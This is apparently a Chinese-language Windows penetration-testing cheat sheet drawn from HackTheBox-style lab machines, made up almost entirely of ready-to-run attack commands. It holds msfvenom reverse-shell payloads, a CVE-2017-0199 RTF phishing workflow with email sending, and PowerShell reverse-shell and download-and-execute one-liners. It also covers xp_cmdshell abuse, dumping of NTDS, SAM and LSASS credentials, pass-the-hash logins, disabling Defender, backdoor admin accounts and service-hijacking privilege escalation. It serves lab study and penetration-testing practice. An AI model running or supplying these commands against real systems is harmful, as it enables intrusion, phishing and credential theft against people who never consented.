    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    目录扫描

    feroxbuster -u http://love.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 
    
    • 1

    RTF Dynamite 钓鱼

    主要来自于 CVE-2017-0199
    exp在此

    https://github.com/bhdresh/CVE-2017-0199
    
    • 1

    操作流程

    1. 生成rtf反弹shell
    msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=8888 -f hta-psh -o msfv.hta
    2. 利用exp将rtf编译成hta
    python2 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.8/msfv.hta -t rtf -x 0
    3. 发送
    sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.129.118.220 -v
    或者
    swaks --server 10.129.118.220 --from wolf@megabank.com --to nico@megabank.com  --header 'Subject:Please Review this' --attach invoice.rtf 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    遇到了pdf,docx

    不要忘exiftool

    公开卷影复制服务 (VSS)

    通过这个方法我们可以阅读进程锁住(正在运行)的程序数据库等信息

    本地管理员组的成员身份或同等身份是运行 Diskshadow 所需的最低要求。 以及Backup Operators 也可以

    所需这个脚本vss.dsh
    如果是在kali编辑的可以

    最好执行
    unix2dos vss.dsh
    来更好的为windows执行
    
    • 1
    • 2
    • 3
    -----------------vss.dsh--------------------
    set context persistent nowriters
    set metadata c:\programdata\df.cab
    set verbose on
    add volume c: alias df
    create
    expose %df% z:
    ---------------------------------------------
    
    upload vss.dsh c:\programdata\vss.dsh
    diskshadow /s c:\programdata\vss.dsh
    
    确保所在目录可读可写
    3. 建立smb共享,或者你先搞到本地然后传回去也行
    4. 传递
    Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.14.14\s\ntds.dit
    或者直接copy
    5. 拿system
    reg.exe save hklm\system \\10.10.14.14\system
    6. 破解
    secretsdump.py -system system -ntds ntds.dit LOCAL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    子域爆破

    wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H 'Host: FUZZ.worker.htb' --hh 703
    
    • 1

    反弹shell(webshell,rce)

    nishang(拿powershell)
    cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
    mv Invoke-PowerShellTcp.ps1 shell.ps1
    python3 -m http.server 80
    nc -nvlp 6969
    
    • 1
    • 2
    • 3
    • 4

    Windows执行

    powershell IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.6/shell.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -port 6969
    
    直接干(用于高权限程序rce或者类似溢出)
    powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')
    
    • 1
    • 2
    • 3
    • 4
    smbserver法(拿cmd)
    smbserver.py share . -smb2support -username df -password df
    
    靶机执行
    net use \\10.10.14.24\share /u:df df
    以及
    \\10.10.14.6\share\nc.exe -e cmd.exe 10.10.14.6 1338
    rlwrap nc -nvlp 1338
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    一把梭法
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.xx.xx',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    
    • 1
    反弹法
    nc.exe -e cmd.exe 10.10.xx.xx 1339
    nc建议带绝对路径
    
    • 1
    • 2

    电子取证

    提取hash
    vol.py -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump
    
    • 1
    • 2

    检验当前获取的账号密码可以登陆谁

    hash获取(mimikatz或者去c中找)

    前提是可以访问config

    Windows/System32/config
    secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
    
    • 1
    • 2

    明文密码登陆

    ./psexec.py administrator@10.129.8.86--登陆
    
    • 1

    编码webshell获取的文件

    $fc = Get-Content "Oracle issue.txt"
    $fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
    [System.Convert]::ToBase64String($fe)
    
    • 1
    • 2
    • 3

    挂载虚拟磁盘

    guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt2/
    
    • 1

    注意,\ 2019-02-22\ 124351在原目录中是带有空格的,我们这里要用反斜杠给他处理

    smb共享目录文件夹是用户名列表

    采取挂载到本地而后ls到文本

    mount -t cifs //10.10.10.192/profiles$ /mnt
    mv users users.old; ls -1 /mnt/ > users
    
    • 1
    • 2

    -1是每行只打印一个

    搜索文件

    这个是第一王者
    Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue -Force
    
    dir "\user.txt" /s
    dir "\root.txt" /s
    where /R c:\ bash.exe
    
    下面这个王中王()主要用来找关键字好用
    for /r c:/ %i in (CloudMe*) do @echo %i
    Get-ChildItem c:\  -Include *.txt -recurse -erroraction -force
    上面这个也好用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    运行后门

    cmd.exe /c C:\Windows\Temp\shell.exe
    
    • 1

    创建一个admin用户(适用与高权限用户的维持

    1. 创建一个用户
    net user fakeadmin passw0rd! /add
    2. 加入admin组
    net localgroup administrators /add fakeadmin
    3. 检查
    net localgroup administrators
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在windows的linux进行挂载之后(或者本地挂载)

    依旧需要用户名密码,不如直接winexe

    net use \\127.0.0.1\c$ /user:administrator "u6!4ZwgwOM#^OBf#Nwnh"
    type \\127.0.0.1\c$\users\administrator\desktop\root.txt
    
    • 1
    • 2

    PSCredential解密

    需要具有当前用户凭证

    (Import-CliXml -Path root.txt).GetNetworkCredential() | fl
    或者
    powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
    
    • 1
    • 2
    • 3

    编译

    x86_64-w64-mingw32-gcc windows_service.c -o x.exe
    
    • 1

    打隧道监听端口(用于win主机内缓冲区溢出方便)

    服务端
    ./chisel server -p 8000 --reverse
    客户端
    ./c.exe client 10.10.14.5:8000 R:910:localhost:910
    然后即可监听910端口
    
    • 1
    • 2
    • 3
    • 4
    • 5

    爆破简单pin码

    这里面爆的是910端口

    #!/usr/bin/env python3
    import socket
    import sys
    for i in range(10000):
        sys.stdout.write(f"\rTrying: {i:04d}")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('localhost', 910))
        s.recv(4096)
        s.send(f"{i:04d}\n".encode())
        resp = s.recv(4096)
        if not b"Access denied" in resp:
            print(f"\rFound pin: {i:04d}")
            break
        s.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    连入桌面

    需要rdp,或者3389

    rdesktop -u user -p password321 MACHINE_IP
    xfreerdp /u:user /p:password321 /cert:ignore /v:MACHINE_IP
    
    • 1
    • 2

    winpeas枚举结果

    autologon

    转储下来里面会有登陆密码

    reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
    
    • 1

    生成后门

    普通exe
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
    
    • 1
    aspx
    msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
    
    • 1
    aspx的webshell
    wget https://dl.packetstormsecurity.net/UNIX/penetration/aspxshell.aspx.txt --no-check-certificate
    
    • 1
    exe后门
    msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.16.3 LPORT=8888 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell.exe
    
    • 1
    exp修改(疑问)

    对于一些不生成反弹端口的msf,通常修改扩起来的部分即可,其他部分不变

    msfvenom -a x86 --platform Windows -p 「windows/shell_reverse_tcp LHOST=10.10.16.3 LPORT=8888-e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
    
    • 1
    rar
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=8888 -f war > shell.war 
    
    • 1
    windows缓冲区
    msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.247.130 -e x86/shikata_ga_nai -b "\x00\x07\x2e\xa0" -f py
    或者
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
    
    • 1
    • 2
    • 3
    生成一个可以更改密码的可执行文件

    需要针对服务缺陷
    下面的例子用在服务路径system权限,并且无引号可写入,我生成一个exe并且改名放入该文件夹

    powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'"
    
    • 1

    传输(winrm最好)

    最常用也好用
    certutil.exe -urlcache -split -f http://10.10.16.3/shell.exe C:\Windows\Temp\shell.exe或者curl

    smb,python,ftp这几种方法都比较好用

    -------------------------------------------
    在 Kali 上
    smbserver.py s . -smb2support -username df -password df
    在靶场同时开启共享
    net use \\10.10.14.14\s /u:df df
    copy \\10.10.10.10\s\reverse.exe C:\PrivEsc\reverse.exe
    --------------------------------------------
    或者
    powershell -c "wget 10.10.14.6/chisel_windows_amd64.exe -o c.exe"
    或者
    Invoke-WebRequest "http://10.10.14.12/rev.exe" -OutFile "rev.exe"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    赋权

    Alfred(用户名)(前提是最起码你能进去root的目录)

    icacls root.txt /grant Alfred:(F)
    
    • 1

    windows回传

    10.10.14.6是kali

    net use \\10.17.0.147\share /u:df df
    copy 20191018035324_BloodHound.zip \\10.10.14.6\share\
    net use /d \\10.10.14.6\share
    
    • 1
    • 2
    • 3

    针对mssql

    操作关注Xp_cmdshell
    枚举关注当前掌握用户能否登陆

    shell内枚举

    主要关注current login(看谁可以登陆)

    Import-Module .\PowerUpSQL.ps1
    Get-SQLInstanceDomain | Get-SQLConnectionTest //枚举域内sqlserver的访问情况 
    Get-SQLServerInfo -Instance Offensive-SQL1 //枚举具体服务的详细信息 
    Invoke-SQLAudit -Instance Offensive-SQL1 -verbose //自动扫描当前服务器可能存在的问题(此处的Offensive-SQL1一定要注意之前枚举域内用户的信息)
    
    • 1
    • 2
    • 3
    • 4
    数据库没枚举
    SELECT name FROM master.dbo.sysdatabases
    use ScrambleHR
    SELECT name FROM SYSOBJECTS WHERE xtype = 'U'
    select * from UserImport
    
    • 1
    • 2
    • 3
    • 4
    在数据库系统中攻击

    检测是否开启以及开启

    1. 检查是否开启Xp_cmdshell
    SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’
    
    2. 给第一个数值变为1
    EXEC sp_configure 'show advanced options',1
    
    3. 给Xp_cmdshell数值变为1
    RECONFIGURE 
    EXEC sp_configure 'xp_cmdshell',1 
    RECONFIGURE 
    EXEC master..xp_cmdshell 'whoami'
    
    4.执行命令
    EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    在shell中进攻

    在每一个执行命令执行之前加上 xp_cmdshell即可

    enable_xp_cmdshell
     xp_cmdshell("whoami")
     
    下面是一个反弹shell的实例
    xp_cmdshell certutil.exe -urlcache -f http://10.10.16.3/nc.exe ..\..\Temp\nc.exe
    
    xp_cmdshell ..\..\Temp\nc.exe 10.10.14.12 4444 -e cmd.exe
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    防火墙相关

    1. 关闭防火墙
    Set-MpPreference -disablerealtimeMonitoring $true
    2. 查看防火墙状态
    powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block 
    3. 查看详细防火墙策略
    powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"
    4. 寻找例外的防火墙
    powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    hash相关

    爆破
    ASPRe roast
    hashcat -m 18200 hashes.aspreroast /usr/share/wordlists/rockyou.txt --force
    
    • 1
    mimikatz
    .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
    
    • 1
    pth

    我认为这种方式是最好用的(在akli上)

    1. 用dbadmin用户枚举出所有用户的hash
    secretsdump.py just-dc-ntlm offensive.local/dbadmin:"Passw8rd "@192.168.159.200
    
    2. 用psexec带着hash登陆,直接获取system权限
    psexec.py admtnistrator@192.168.159.200 -hashes "hash:hash"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    secretsdump.py
    secretsdump.py 'fakeadmin:passw0rd!@127.0.0.1'
    
    • 1
    取sam,system,security

    用于我们只有反弹高权限shell,但是没有凭据
    下面的例子我已经建立了一个简单的smbshare

    reg save HKLM\sam \\10.10.14.24\share\sam
    reg save HKLM\system \\10.10.14.24\share\system
    reg save HKLM\security \\10.10.14.24\share\security
    secretsdump.py -sam sam -security security -system system LOCAL
    
    • 1
    • 2
    • 3
    • 4
    hash凭据登陆

    注意是整段hash,两个hash都放进来

    wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip 10.10.10.175 administrator@10.10.10.175
    或者
    psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip 10.10.10.175 administrator@10.10.10.175
    或者
    evil-winrm -i 10.129.13.243 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
    
    • 1
    • 2
    • 3
    • 4
    • 5
    hash枚举smb
    crackmapexec smb 10.129.13.243 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
    
    
    • 1
    • 2

    打洞

    chisel(sock)(推荐使用)
    1. 建立服务端
    ./chisel server -p 12345 --reverse
    本地开启12345启动服务
    2. 建立客户端
    chisel.exe client 【kali的ip:port】 R:socks
    3. 添加sock(proxychains添加socks5即可)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    chisel(单端口)

    ./chisel server -p 8000 --reverse
    .\c.exe client 10.10.14.24:8000 R:445:localhost:445

    提权

    枚举

    基本枚举清单
    whoami /groups
    whoami /all 
    whoami /priv
    where /R c:\ confCons.xml 可能存在密码(提取脚本在下面)
    cmdkey list(看有没有暴露出其他的用户密码,如果有,下一步)
    runas savecred /user:admin C:/PrivEsclreverse.exe
    C:\Program Files (x86) 查看应用程序
    netstat -ano | findstr LISTEN   查看服务端口
    netstat -ano | findstr TCP | findstr ":0" 也是查看服务端口
    tasklist /v | findstr 7400   查对应的pid对应的服务
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    where /R c:\ confCons.xml 可能存在密码
    获得的confcons.xml提取密码

    #!/usr/bin/env python3
    import hashlib
    import base64
    from Cryptodome.Cipher import AES
    from Cryptodome.Util.Padding import unpad
    import argparse
    import sys
    import xml.etree.ElementTree as ET
    
    def decrypt_legacy(encrypted_data, password):
        try:
            encrypted_data = encrypted_data.strip()
            encrypted_data = base64.b64decode(encrypted_data)
            initial_vector = encrypted_data[:16]
            ciphertext = encrypted_data[16:]
            key = hashlib.md5(password.encode()).digest()
    
            cipher = AES.new(key, AES.MODE_CBC, initial_vector)
            plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
            return plaintext
        except Exception as e:
            print("Failed to decrypt the password with the following error: {}".format(e))
            return b''
    
    def decrypt(encrypted_data, password):
        try:
            encrypted_data = encrypted_data.strip()
            encrypted_data = base64.b64decode(encrypted_data)
            salt = encrypted_data[:16]
            associated_data = encrypted_data[:16]
            nonce = encrypted_data[16:32]
            ciphertext = encrypted_data[32:-16]
            tag = encrypted_data[-16:]
            key = hashlib.pbkdf2_hmac(
                "sha1", password.encode(), salt, 1000, dklen=32)
    
            cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
            cipher.update(associated_data)
            plaintext = cipher.decrypt_and_verify(ciphertext, tag)
            return plaintext
        except Exception as e:
            print("Failed to decrypt the password with the following error: {}".format(e))
            return b''
    def main():
        parser = argparse.ArgumentParser(
            description="Decrypt mRemoteNG passwords.")
        if len(sys.argv) < 2:
            parser.print_help(sys.stderr)
            sys.exit(1)
    
        group = parser.add_mutually_exclusive_group()
        group.add_argument(
            "-f", "--file", help="Name of file containing mRemoteNG password")
        # Thanks idea from @KingKorSin
        group.add_argument(
            "-rf", "--realFile", help="Name of the Real mRemoteNG connections file containing the passwords")
        group.add_argument(
            "-s", "--string", help="base64 string of mRemoteNG password")
        parser.add_argument("-p", "--password",
                            help="Custom password", default="mR3m")
        parser.add_argument("-L", "--legacy", help="version <= 1.74", type=bool, default=False)
        args = parser.parse_args()
    
        decrypt_func = decrypt
        if args.legacy:
            decrypt_func = decrypt_legacy
    
        if args.realFile != None:
            tree = ET.parse(args.realFile)
            root = tree.getroot()
            for node in root.iter('Node'):
                if node.attrib['Password']:
                    decPass = decrypt_func(node.attrib['Password'], args.password)
                    if node.attrib['Username']:
                        print("Username: {}".format(node.attrib['Username']))
                    if node.attrib['Hostname']:
                        print("Hostname: {}".format(node.attrib['Hostname']))
                    print("Password: {} \n".format(decPass.decode("utf-8")))
            sys.exit(1)
    
        elif args.file != None:
            with open(args.file) as f:
                encrypted_data = f.read()
                decPass = decrypt(encrypted_data, args.password)
    
        elif args.string != None:
            encrypted_data = args.string
            decPass = decrypt(encrypted_data, args.password)
    
        else:
            print("Please use either the file (-f, --file) or string (-s, --string) flag")
            sys.exit(1)
    
        try:
            print("Password: {}".format(decPass.decode("utf-8")))
        except Exception as e:
            print("Failed to find the password property with the following error: {}".format(e))
    
    
    if __name__ == "__main__":
        main()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    凭据注入(获得了凭据但你不在用户中)
    runas.exe /netonly /user:domain.tld\username cmd.exe
    
    • 1
    手动枚举(常见的即可)
    systeminfo等以及下面的
        net user /domain– 在加入域的主机上运行以枚举域用户
        net user user.name /domain– 在加入域的主机上运行以获取有关特定域用户的信息
        net group /domain– 在加入域的主机上运行以枚举域组
        net group groupName /domain– 在加入域的主机上运行以获取有关特定域组的信息
        net accounts /domain- 在已加入域的主机上运行以显示域密码和帐户锁定策略  
    ======================================================
    下面是ps命令:
    -------------------------清单-------------------------
    #导入PowerView.ps1脚本  
    Import-Module .\PowerView.ps1 
    
    #获得域信息 
    Get-NetDomain 
    
    #获得域控信息
    Get-NetDomainController 
    
    #获得域内的用户 
    Get-NetUser | select name 
     
    #获得域内的组 
    Get-NetGroup | select name 
    
    #获得域内组中带有admin的 
    Get-NetGroup *admin* | select name 
    
    #获得域内组中用户alice的信息
    Get-NetGroup -UserName Alice 
    
    #查看"Domain Admins"组的信息 
    Get-NetGroup "Domain Admins" 
     
    #获得域内主机的名字
    Get-NetComputer | select name 
    ------------------------------------------------------
    
    对用户:
        Get-ADUser -Filter *– 返回所有域用户
        Get-ADUser -Filter 'Name -like "*stevens"'– 查找名称以结尾的任何用户 ...stevens
        Get-ADUser -Identity john.doe -Properties *– 找到用户 john.doe并返回所有属性 
        
    对组:    
        Get-ADGroup -Filter *– 返回所有域组
        Get-ADGroup -Identity Administrators | Get-ADGroupMember- 管道 Administrators将对象分组到 Get-ADGroupMember检索组的成员 
        
    对时间:
    # February 28, 2022 00:00:00 (system time zone)
    $modifiedDate = Get-Date '2022/02/28'
    Get-ADObject -Filter 'whenChanged -ge $modifiedDate' -IncludeDeletedObjects
    
    对域环境:
    Get-ADDomain  从域控制器获取有关域的信息 
    
    更改用户密码
    $oldPass = Read-Host -AsSecureString -Prompt 'Enter the old password'
    $newPass = Read-Host -AsSecureString -Prompt 'Enter the new password'
    Set-ADAccountPassword -Identity user.name -OldPassword $oldpPass -NewPassword $newPass
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    插件枚举(常用)
    1. PowerUp.ps1检查
      powershell -exec bypass -Command “Import-Module .\PowerUp.ps1;Invoke-AllChecks”
    程序信息枚举
    1. powerup.ps1(检查系统配置等一些问题)
    powershell.exe -nop - exec bypass
    Import-Module .\powerup.psm1
    Invoke-AllChecks
    2. accesschk.exe
    accesschk.exe accepteula   先默认这个
    C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" 像这样
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    枚举工具的使用(建议只使用blood以及winpeas)
    1. Seatbelt
    .\Seatbelt.exe all
    
    2. PsExec64
    .\PsExec64.exe -accepteula -i -s C:\Users\user\Desktop\a002.exe
    
    3. winPEASany
    先添加一个注册表(也可以不添加)
    reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
    .\winPEASany.exe quiet cmd fast
    
    4. meterpreter
    meterpreter > background
    use post/multi/recon/local_exploit_suggester
    set session 1
    run
    
    5. watson
    查询net版本。如果小于4.5.2用不了winpeas
    reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
    reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
    
    6. Sherlock
    powershell -nop -ep bypass 
    Import-Module .\Sherlock.ps1 
    Find-AllVulns
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    服务漏洞

    当服务可修改配置(服务权限)

    需要可修改配置
    审查服务

    发现SERVICE_CHANGE_CONFIG即可
    可用于权限变更,system或者横向,也可添加用户

    1. 查看用户权限
    accesschk64.exe -wuvc "user" *
    2. 审查权限(服务名字在左侧)看他是不是localsystem运行
    sc qc daclsvc
    3. 识别(第一步就能识别出来)
    存在service_query_config权限
    4. 覆盖(也可以传nc调用)
    sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
    或者添加用户
    sc config daclsvc binpath="net localgroup administrators user /add" 
    5. 启动
    net start daclsvc
    或者重启
    sc stop daclsvc 
    sc start daclsvc
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    当bin目录没有双引号并且包含空格(服务路径)

    需要可写并且路径不安全
    审查路径看我能能不能修改

    sc发现bin目录无引号,应该access查询是否可以读写

    1. 遍历搜索无引号目录
    wmic service get name,displayname,pathname,startmode | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr / i /v """
    2. 审查权限(看能不能写)
    icacls "C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe" 
    icacls "C:\Program Files\Unquoted Path Service"
    审查用户权限
    C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" 
    3. 覆盖(后门exe可以放在解析路径中的任何一个位置,但是名称要和原来的保持一致)
    copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
    或者生成本地提权脚本
    msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe 
     并放入服务路径
    4. 启动
    net start unquotedsvc
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

    (不知道如何找)当bin目录是一个可执行文件

    可读写
    bin目录是一个可执行文件

    1. 审查用户权限(看能否读写)
    C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
    或者
    icacls "C:\Program Files\File Permissions Service \filepermservice.exe"
    2. 覆盖
    copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
    3. 启动
    net start filepermsvc
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    (不知道如果找服务)注册表服务项权限异常(powershell执行)

    需要完全权限
    并且具有敏感函数文件,.c文件应该是工具跑出来的

    检查权限
    Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
    
    发现特殊权限
    FullContol
    
    将源码文件复制下来
    windows_service.c一般是这个
    
    修改敏感函数命令
    例如:system() 函数使用的命令替换为: cmd.exe /k net localgroup administrators user /add 
    
    编译
    x86_64-w64-mingw32-gcc windows_service.c -o x.exe
    
    指向
    reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /dc:\temp\x.exe /f 
    
     启动
     sc start regsvc 
     
    检验
    net localgroup administrators 
    
    HKLM\SYSTEM\CurrentControlSet\services\regsvc 是要添加的子项的完整路径
    /v Image Path 是添加注册表项的名称
    /t REG_EXPAND_SZ 是注册表项的类型
    /dc:\temp\x.exe 是新注册表项的数据(在这种情况下,在我们的恶意文件中)
    /f 需要添加注册表项而不提示确认 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    注册表

    自动运行

    需要能够控制登陆
    需要具有sutorun可执行文件
    其中一个对所有人可写

    1. 查询
    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    2. 检查(看能不能写)
    C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
    或者
    icacls "C:\Program Files\Autorun Program\program.exe"
    3. 覆盖
    copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
    4. 重启
